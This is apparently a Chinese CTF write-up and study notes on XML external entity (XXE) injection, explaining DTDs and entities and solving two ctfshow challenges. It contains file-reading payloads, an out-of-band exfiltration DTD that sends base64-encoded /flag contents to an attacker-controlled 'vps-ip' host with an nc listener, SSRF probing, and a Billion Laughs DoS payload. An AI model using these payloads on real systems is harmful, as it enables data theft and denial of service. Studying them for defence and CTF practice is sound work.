XXE 学习记录
前言:
上上周的青少年CTF擂台挑战赛 2024 #Round 1中,有一道XXE的题目,结合我对 moectf 那道XXE的印象,感觉都是直接复制、黏贴答案模板后改改就出了,没有系统的认真学;趁着有想法的时候把 XXE 系统学个一遍。。。
XXE
什么是 XXE?
XXE 全称是:XML External Entity,也就是 XML 外部实体注入攻击,由于程序在解析输入的 XML 数据时,解析了攻击者伪造的外部实体而产生的。有XXE漏洞的标志性函数为simplexml_load_string()
。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
XML 基础学习( XXE 要从认识 XML 开始):
XML指可扩展标记语言(EXtensible Markup Language)是一种标记语言,很类似 HTML。XML的设计宗旨是传输数据,而非显示数据。XML标签没有被预定义。需要自行定义标签。XML被设计为具有自我描述性。XML是 W3C 的推荐标准。
XML 是不作为的:
也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
下面是 John 写给 George 的便签,存储为 XML :
<note> |
上面的这条便签具有自我描述性。它拥有标题以及留言,同时包含了发送者和接受者的信息。但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档。除此之外,XML 是纯文本,且允许创作者定义自己的标签和文档结构,是独立于软件和硬件的信息传输工具。
DTD :
文档类型定义(DTD)可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
一些前置XML元素知识:
<!ELEMENT>
在XML中,<!ELEMENT>
元素用于定义元素的结构和内容模型。具体来说,<!ELEMENT>
元素可以用来:
- 定义元素的名称:
<!ELEMENT>
元素指定了XML文档中允许出现的元素的名称。 - 定义元素的内容模型:
<!ELEMENT>
元素可以指定元素的内容模型,即元素可以包含哪些子元素以及它们的顺序和数量。
例如,下面是一个使用 <!ELEMENT>
元素定义元素的示例:
<!ELEMENT person (firstname, lastname, age)> |
在这个示例中,<!ELEMENT>
元素定义了一个名为”person”的元素,它包含了三个子元素:firstname、lastname 和 age。这样就规定了”person”元素的结构和内容模型。
通过使用 <!ELEMENT>
元素,可以在XML文档中明确定义元素的结构,有助于确保文档的有效性和一致性。
<!ENTITY>
在XML中,<!ENTITY>
元素用于定义实体。
内部的 DOCTYPE 声明:
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]> |
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?> |
以上 DTD 解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档(note为根元素)。
!ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading、body”,如果是<!ELEMENT note ANY>
则表示可以接受任何元素
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型
外部文档声明:
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名"> |
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?> |
这是包含 DTD 的 “note.dtd” 文件:
<!ELEMENT note (to,from,heading,body)> |
DTD的作用:
- 通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
- 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
- 您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
- 您还可以使用 DTD 来验证您自身的数据。
实体:
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体类别与引用:
通用实体:
用 &实体名;
引用的实体,他在 DTD 中定义,在 XML 文档中引用
实例
<?xml version="1.0" encoding="utf-8"?> |
在这个例子中,实体 &file;
引用了位于”file:///c:/windows/win.ini”路径下的文件。
参数实体:
使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
只有在 DTD 文件中,参数实体的声明才能引用其他实体
和通用实体一样,参数实体也可以外部引用
实例
<!DOCTYPE note [ |
在这个示例中:
第一个参数实体定义如下:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> |
这个参数实体名为”an-element”,其内容是一个用于定义元素结构的字符串,指定了一个名为”mytag”的元素,它包含一个名为”subtag”的子元素。
第二个参数实体定义如下:
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> |
这个参数实体名为”remote-dtd”,其内容是一个外部实体引用,指定了一个外部DTD文件的位置。
通过使用参数实体,我们可以在XML文档中定义可重复使用的片段,提高文档的可读性和可维护性。
实体根据引用方式,还可分为内部实体与外部实体
内部实体:
<!ENTITY 实体名称 "实体的值"> |
实例:
DTD:
<!ENTITY writer "Bill Gates"> |
XML:
<author>&writer;©right;</author> |
注释:别忘记一个通用实体由三部分构成:一个和号 ( &
),一个实体名称
, 以及一个分号 ( ;
)
外部实体:
<!ENTITY 实体名称 SYSTEM "URI"> |
URL中能写哪些类型的外部实体呢?如图所示:
实列:
DTD:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> |
XML:
<author>&writer;©right;</author> |
当然,还有一种引用方式是使用 引用 公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI"> |
这个在我们的攻击中也可以起到和 SYSTEM
一样的作用
XML外部实体注入:
XML External Entity Injection 即 xml 外部实体注入漏洞,简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。
有回显读敏感文件
本题为 ctfshow web 373 题的源码:
|
以下是代码的简要解释:
error_reporting(0);
- 禁用错误报告,这意味着将不会显示任何错误信息。libxml_disable_entity_loader(false);
- 启用XML实体加载器,这是为了防止XML外部实体注入攻击。$xmlfile = file_get_contents('php://input');
- 从输入中获取XML文件的内容。if(isset($xmlfile)){...}
- 检查是否成功获取XML文件内容。$dom = new DOMDocument();
- 创建一个新的DOMDocument对象,用于处理XML文档。$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
- 加载XML文件内容到DOMDocument对象中,并禁用实体和DTD加载,以防止实体注入攻击。$creds = simplexml_import_dom($dom);
- 将DOMDocument对象转换为SimpleXMLElement对象,以便于访问XML数据。$ctfshow = $creds->ctfshow;
- 从XML数据中提取ctfshow元素的值。echo $ctfshow;
- 将ctfshow元素的值输出到页面上。highlight_file(__FILE__);
- 在页面上高亮显示当前PHP文件的源代码。
贴个payload:
<?xml version="1.0" encoding="UTF-8"?> |
但我看到了 K0rz3n 佬读取复杂文件名的操作,感觉分别可以应用在读取Linux和Windows的flag上。
以下为主要内容摘要:
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的
< > & "
字符,CDATA 元素中的所有字符都会被当做元素字符数据的常量部分,而不是 xml 标记
<![CDATA[
XXXXXXXXXXXXXXXXX
]]>可以输入任意字符除了
]]>
不能嵌套
用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA 包起来那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下:
首先,找到问题出现的地方,问题出现在
>...
><!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
><creds>&goodies;</creds>引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如
&,<,>,",'
等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上"<![CDATA["和 “]]>”
,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
><?xml version="1.0" encoding="utf-8"?>
><!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
>]>
><roottag>&start;&goodies;&end;</roottag>注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在xml 中调用,那么要想在 DTD 中拼接,我们知道我们只有一种选择,就是使用参数实体
那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过
<?xml version="1.0" encoding="utf-8"?> |
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> |
解释:
<?xml version="1.0" encoding="utf-8"?>
:指定XML版本为1.0,字符编码为UTF-8。
<!DOCTYPE roottag [...]>
:定义了名为”roottag”的根元素,并在内部包含了一组实体定义。
<!ENTITY % start "<![CDATA[">
:定义了名为”start”的参数实体,内容为”<![CDATA[“,用于表示CDATA块的起始部分。
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
:定义了名为”goodies”的参数实体,指向本地文件”d:/test.txt”,用于引入外部实体内容。
<!ENTITY % end "]]>">
:定义了名为”end”的参数实体,内容为”]]>”,用于表示CDATA块的结束部分。
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
:定义了名为”dtd”的参数实体,指向远程DTD文件”http://ip/evil.dtd
“。
%dtd;
:在DOCTYPE声明中引用了”dtd”参数实体,将远程DTD文件的内容插入到文档中。
<roottag>&all;</roottag>
:XML文档的根元素为”roottag”,其中引用了名为”all”的通用实体,从而达到拼接的目的。
第二个XML代码片段中的evil.dtd
文件定义了一个名为all
的通用实体,其内容为%start;%goodies;%end;
,表示all
实体由start
、goodies
和end
三个实体组成。
无回显读敏感文件:
本题为 ctfshow web 374 题的源码:
|
相比较于上一道有回显的题目,差别在于删除了如下代码:
$ctfshow = $creds->ctfshow; |
我们的做法是将flag外带
由于新人第一次接触反弹Shell的做法,就将接下来的步骤写的详细一些了
如果是腾讯云的vps,要现在防火墙将所有端口开放
启动vps后在特定宽口开放http服务,以便通过外网能访问到你的恶意文件:
python3 -m http.server |
此时我们访问一下 http://vps-ip:8000 试试看:(未有特殊说明则默认开放8000端口,ip为vps公网的ip)
此时
说明8000端口启动http服务成功
同理我们来测试1234端口:
说明1234端口也启动http服务成功
创建XXE.dtd文件并写入如下内容:
vim XXE.dtd |
#XXE.dtd |
在另一个页面监听本地1234端口:
nc -lvnp 1234 |
burp发包内容:
POST / HTTP/1.1 |
在监听的页面就可以看到加密后的flag
解密后得到flag
对payload的解释:
<!DOCTYPE test [ |
定义了两个实体:
%file
:它使用php过滤器读取系统文件/flag
的内容,并对内容进行base64编码。%dtd
:它从远程URLhttp://vps-ip:8000/XXE.dtd
加载DTD文件。
以下是jay17师傅的解释(实体名有所改动):
- 不能直接
<!ENTITY % dtd SYSTEM "http://vps-ip:8000/%file">
,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制 %dtd;
会读取远程dtd文件,读到了以后,因为远程dtd文件有一个% all
实体的定义,那么就会解析这个实体定义。% all
实体的定义内容是另外一个实体% send
定义,那就会解析% send
,就会执行远程请求,请求地址http://vps-ip:8000/%file
,会在我们的 vps 日志上留下痕迹。
也可以起 nc 监听端口,能判断是否有向我们的 vps 发送请求以及请求内容。
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip:1234/%file;'> "> |
%
就是百分号,因为是嵌套在里面的引用,不能直接写百分号%all
实体定义了一个新的实体send
,其内容是一个SYSTEM类型的实体,用于发送数据到指定的URL。在这里,%file
实体被引用在URL中,以便将/flag
文件的内容发送到指定的http://vps-ip:1234/
地址。- 在XML文档的解析过程中,通过引用
%all
实体,实际上定义了一个名为send
的实体,其值是将/flag
文件内容发送到指定URL的操作。 - 最后,通过引用
%send
实体,实际上执行了之前定义的send
实体,将/flag
文件的内容发送到指定的URL。
XXE检测:
主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。
首先检测XML是否会被成功解析:
<?xml version="1.0" encoding="UTF-8"?> |
如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析。
接下来检测该端点是否支持DTD引用外部实体:
<?xml version=”1.0” encoding=”UTF-8”?> |
此时通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。
如图所示,则该处很可能存在XML外部实体注入漏洞。
SSRF:
XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议。
<?xml version="1.0" encoding="ISO-8859-1"?> |
当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的。
众所周知,有些企业对内网的安全性可能不那么注重。除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。关于ncat的使用:ncat-网络工具中的“瑞士军刀”
用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)
之后便可使用以下语句尝试是否能够建立连接:
<?xml version="1.0" encoding="utf-8"?> |
DDoS:
支持实体测试:
<!DOCTYPE data [ |
如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
Billion Laughs 攻击:
一个经典的Dos攻击payload:
<?xml version="1.0"?> |
当XML解析器加载该文档时,它会看到它包含一个根元素 “lolz” ,该元素包含文本 “&lol9;” 。然而,“&lol9;” 是一个已定义的实体,它扩展为包含十个 “&lol8;” 字符串。每个 “&lol8;” 字符串都是一个已定义的实体,可以扩展到10个 “&lol7;” 字符串,以此类推。在处理完所有的实体扩展之后,这个小(小于1 KB)的XML块实际上将包含 109 = 10亿个 “lol” ,占用了将近 3 gb 的内存。
参考
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)
XXE知识总结,有这篇就够了! - 知乎 (zhihu.com)
Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全_ctfshow web373-CSDN博客